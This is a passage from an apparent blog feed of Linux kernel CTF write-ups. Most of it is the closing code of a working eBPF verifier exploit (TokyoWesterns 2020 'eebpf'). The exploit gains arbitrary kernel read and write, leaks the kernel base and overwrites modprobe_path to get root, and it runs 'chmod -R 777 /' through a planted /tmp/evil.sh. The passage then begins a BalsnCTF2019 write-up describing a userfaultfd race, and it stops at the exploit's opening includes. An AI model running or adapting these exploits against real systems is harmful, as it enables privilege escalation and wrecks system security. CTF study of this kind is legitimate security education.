      // map_lookup_elem(mapfd, &amp;amp;key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == 0 == (.val=0, .mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_0,
                    1),  // r0 = r0 &amp;amp; 1 == 0 == (.val=0, .mask=1)
      BPF_ALU64_IMM(
          BPF_ALSH, BPF_REG_0,
          63),  // r0 = r0 &amp;lt;&amp;lt; 63 == 0 == (.val=0, .mask=0x8000000000000000);
      // smin=0, smax=0x8000000000000000

      BPF_MOV64_REG(BPF_REG_1, BPF_REG_5),  // r1 = r5 == map_elem
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_0),  // r1 = r1 + r0; Because r0&amp;#39;s smin &amp;gt; s0&amp;#39;s smax,
                                 // r1 will be marked as unknown.
      BPF_MOV64_REG(BPF_REG_0, BPF_REG_1),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8),
      // arg3(&amp;amp;val)
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, BPF_ANY),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s&amp;#34;, verifier_log);
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  // Trigger the BPF program
  write(socks[1], &amp;#34;UNIGURI&amp;#34;, 7);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  if (do_print_verifier_log) {
    puts(&amp;#34;============[verifier log]============&amp;#34;);
    printf(&amp;#34;%s&amp;#34;, verifier_log);
    puts(&amp;#34;============[verifier log]============&amp;#34;);
  }

  return val - 0xd0;
}

static void aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1, -0x8),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // map_lookup_elem(mapfd, &amp;amp;key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),           // r5 = map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),  // r6 = *map_elem == 1

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == (.val=0, .mask=0xffffffffffffffff)
      BPF_MOV64_IMM(BPF_REG_1, -1),  // r1 = 0xffffffffffffffff
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    3),  // r1 = r1 &amp;gt;&amp;gt; 3 == 0x1fffffffffffffff
      BPF_ALU64_REG(BPF_AND, BPF_REG_0,
                    BPF_REG_1),  // r0 = r0 &amp;amp; r1 == (actual_val=1; .val=0,
                                 // .mask=0x1fffffffffffffff)
      BPF_ALU64_IMM(BPF_ALSH, BPF_REG_0,
                    3),  // r0 = r0 &amp;lt;&amp;lt; 3 == (actual_val=8; .val=0,
                         // .mask=0xfffffffffffffff8;
                         // umin=0, umax=0xfffffffffffffff8)
      BPF_ALU64_IMM(
          BPF_REG_0, BPF_ADD,
          8),  // r0 = r0 + 8 == (actual_val=0x10; .val=0, .mask=0x8; umin=0x8,
               // umax=0). Because of integer overflow in umax.
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),  // r1 = r6 == [map_elem]
      BPF_ALU64_IMM(
          BPF_AND, BPF_REG_1,
          0x08),  // r1 = r1 &amp;amp; 0x08 == (.val=0, .mask=0x8; umin=0, umax=0x8)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0,
                    BPF_REG_1),  // r0 =  r0 + r1 == (umin=0x8, umax=0x8) ==
                                 // constant 8 (but, it&amp;#39;s actually 0x10)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_0,
          -0x8),  // r0 = r0 - 0x8 == constant 0 (but, it&amp;#39;s actually 0x8)
      BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),  // r7 = r0
      // From now, r7 is marked as constant 0 but it&amp;#39;s actually 0x08

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_7),  // arg4 = r7 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    1),  // arg4 = 1 * arg4 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          8),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x8, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x8, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s&amp;#34;, verifier_log);
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}
static uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1, -0x8),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // map_lookup_elem(mapfd, &amp;amp;key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),           // r5 = map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),  // r6 = *map_elem == 1

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == (.val=0, .mask=0xffffffffffffffff)
      BPF_MOV64_IMM(BPF_REG_1, -1),  // r1 = 0xffffffffffffffff
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    3),  // r1 = r1 &amp;gt;&amp;gt; 3 == 0x1fffffffffffffff
      BPF_ALU64_REG(BPF_AND, BPF_REG_0,
                    BPF_REG_1),  // r0 = r0 &amp;amp; r1 == (actual_val=1; .val=0,
                                 // .mask=0x1fffffffffffffff)
      BPF_ALU64_IMM(BPF_ALSH, BPF_REG_0,
                    3),  // r0 = r0 &amp;lt;&amp;lt; 3 == (actual_val=8; .val=0,
                         // .mask=0xfffffffffffffff8;
                         // umin=0, umax=0xfffffffffffffff8)
      BPF_ALU64_IMM(
          BPF_REG_0, BPF_ADD,
          8),  // r0 = r0 + 8 == (actual_val=0x10; .val=0, .mask=0x8; umin=0x8,
               // umax=0).
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),  // r1 = r6 == [map_elem]
      BPF_ALU64_IMM(
          BPF_AND, BPF_REG_1,
          0x08),  // r1 = r1 &amp;amp; 0x08 == (.val=0, .mask=0x8; umin=0, umax=0x8)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0,
                    BPF_REG_1),  // r0 =  r0 + r1 == (umin=0x8, umax=0x8) ==
                                 // constant 8 (but, it&amp;#39;s actually 0x10)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_0,
          -0x8),  // r0 = r0 - 0x8 == constant 0 (but, it&amp;#39;s actually 0x8)
      BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),  // r7 = r0
      // From now, r7 is marked as constant 0 but it&amp;#39;s actually 0x08

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_7),  // arg4 = r7 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(BPF_MUL, BPF_REG_ARG4,
                    1),  // arg4 = 1 * arg4 == (actual_val=0x8; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          8),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x8, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x8, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&amp;amp;val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s&amp;#34;, verifier_log);
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));

  bpf_map_lookup(mapfd, 0, &amp;amp;map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

int main() {
  mapfd = bpf_map_create(sizeof(uint64_t), 1);
  map_addr = leak_bpf_map_addr(0);
  printf(&amp;#34;[+] map_addr = 0x%016lx\n&amp;#34;, map_addr);

  uint64_t kernel_base = aar64(map_addr) - BPF_MAP_OPS_OFFSET;
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  const char* new_modprobe = &amp;#34;/tmp/evil.sh&amp;#34;;
  const size_t new_modprobe_len = strlen(new_modprobe);
  printf(&amp;#34;[*] Overwrite modprobe to %s\n&amp;#34;, new_modprobe);
  for (size_t i = 0; i &amp;lt; new_modprobe_len; i += 8) {
    aaw64(kernel_base + MODPROBE_OFFSET + i, *(uint64_t*)(new_modprobe + i));
  }
  {
    int fd = open(&amp;#34;/proc/sys/kernel/modprobe&amp;#34;, O_RDONLY);
    if (fd &amp;lt; 0) {
      fatal(&amp;#34;open(/proc/sys/kernel/modprobe)&amp;#34;);
    }

    char modprobe[0x100];
    read(fd, modprobe, sizeof(modprobe));
    if (strncmp(modprobe, new_modprobe, new_modprobe_len)) {
      printf(&amp;#34;[*] new modprobe: %s\n&amp;#34;, modprobe);
      puts(&amp;#34;[-] Failed to overwrite modprobe&amp;#34;);
      return -1;
    }
    puts(&amp;#34;[+] Successfully overwritten modprobe&amp;#34;);
  }

  puts(&amp;#34;[+] Get root&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
  system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
  system(&amp;#34;/tmp/pwn&amp;#34;);

  close(mapfd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2020/eebpf&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2020/eebpf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>BalsnCTF2019 Krazynote</title>
      <link>/posts/kernel/write-ups/ctf/balsnctf2019-krazynote/</link>
      <pubDate>Fri, 24 Jan 2025 06:56:49 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/balsnctf2019-krazynote/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.1.9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide &lt;code&gt;note&lt;/code&gt; misc device with which we can save(0xffffff00) and get(0xffffff02), update(0xffffff01) data using unlocked_ioctl.
When we save and get, update data on it, the xor-encrypted data is stored.&lt;/p&gt;
&lt;p&gt;And the struct enc_data (stored data) and struct request_t is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; xor_key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data_addr_minus_page_offset_base;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; enc_data[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]; &lt;span style=&#34;color:#75715e&#34;&gt;// Struct Hack; see https://www.geeksforgeeks.org/struct-hack/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;unlocked_ioctl&lt;/code&gt; does not perform blocked-ioctl and the device does not use mutex, we can do race condition attack easily.
Furthermore in given kernel environment, non-privileged userfaultfd is allowed.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.1.9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide &lt;code&gt;note&lt;/code&gt; misc device with which we can save(0xffffff00) and get(0xffffff02), update(0xffffff01) data using unlocked_ioctl.
When we save and get, update data on it, the xor-encrypted data is stored.&lt;/p&gt;
&lt;p&gt;And the struct enc_data (stored data) and struct request_t is following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; idx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;typedef&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; xor_key;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64_t&lt;/span&gt; data_addr_minus_page_offset_base;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; enc_data[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]; &lt;span style=&#34;color:#75715e&#34;&gt;// Struct Hack; see https://www.geeksforgeeks.org/struct-hack/
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;enc_data_t&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;unlocked_ioctl&lt;/code&gt; does not perform blocked-ioctl and the device does not use mutex, we can do race condition attack easily.
Furthermore in given kernel environment, non-privileged userfaultfd is allowed.&lt;/p&gt;
&lt;p&gt;Consider following sequence:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    sequenceDiagram
	    participant user
	    participant device
	    participant userfaultfd
	    
	    user-&amp;gt;&amp;gt;device: store_data(idx &amp;lt;- 0)
	    note over device: [0x00] enc_data(key=?,len=0x10,data=0x18) @ idx=0
	    device-&amp;gt;&amp;gt;userfaultfd: request: copy_from_user
	    userfaultfd-&amp;gt;&amp;gt;device: request: reset
	    note over device: [0x00] NULL
	    userfaultfd-&amp;gt;&amp;gt;device: request: store_data(idx &amp;lt;- 0)
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    userfaultfd-&amp;gt;&amp;gt;device: request: store_data(idx &amp;lt;- 1)
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    note over device: [0x18] enc_data(key=?,len=0,data=0x30) @ idx=1
	    userfaultfd-&amp;gt;&amp;gt;device: response: data of copy_from_user = {0x11111111, 0x22222222, 0x33333333}
	    note over device: [0x00] enc_data(key=?,len=0,data=0x18) @ idx=0
	    note over device: [0x18] enc_data(key=0x11111111,len=0x22222222,data=0x33333333) @ idx=1
	    user-&amp;gt;&amp;gt;device: get_data(idx=1)
&lt;/pre&gt;
&lt;p&gt;As see above, we can control xor_key and size, data_addr_minus_page_offset_base of enc_data_t.
Then we can leak xor_key(&lt;code&gt;leak_xor_key&lt;/code&gt;) and data_addr_minus_page_offset_base(&lt;code&gt;leak_vuln_dev_minus_page_offset_base&lt;/code&gt;), device(module)_base(&lt;code&gt;leak_vuln_dev_base&lt;/code&gt;), page_offset_base(&lt;code&gt;vuln_dev_base - vuln_dev_base_minus_page_offset_base&lt;/code&gt;), kernel_base(&lt;code&gt;leak_kernel_base&lt;/code&gt;) step by step.&lt;/p&gt;
&lt;p&gt;As the device provide read and update features, we can make AAR &amp;amp; AAW primitives using these features on modified enc_data.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;325471986&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;325471986&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;BalsnCTF2019-Krazynote-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
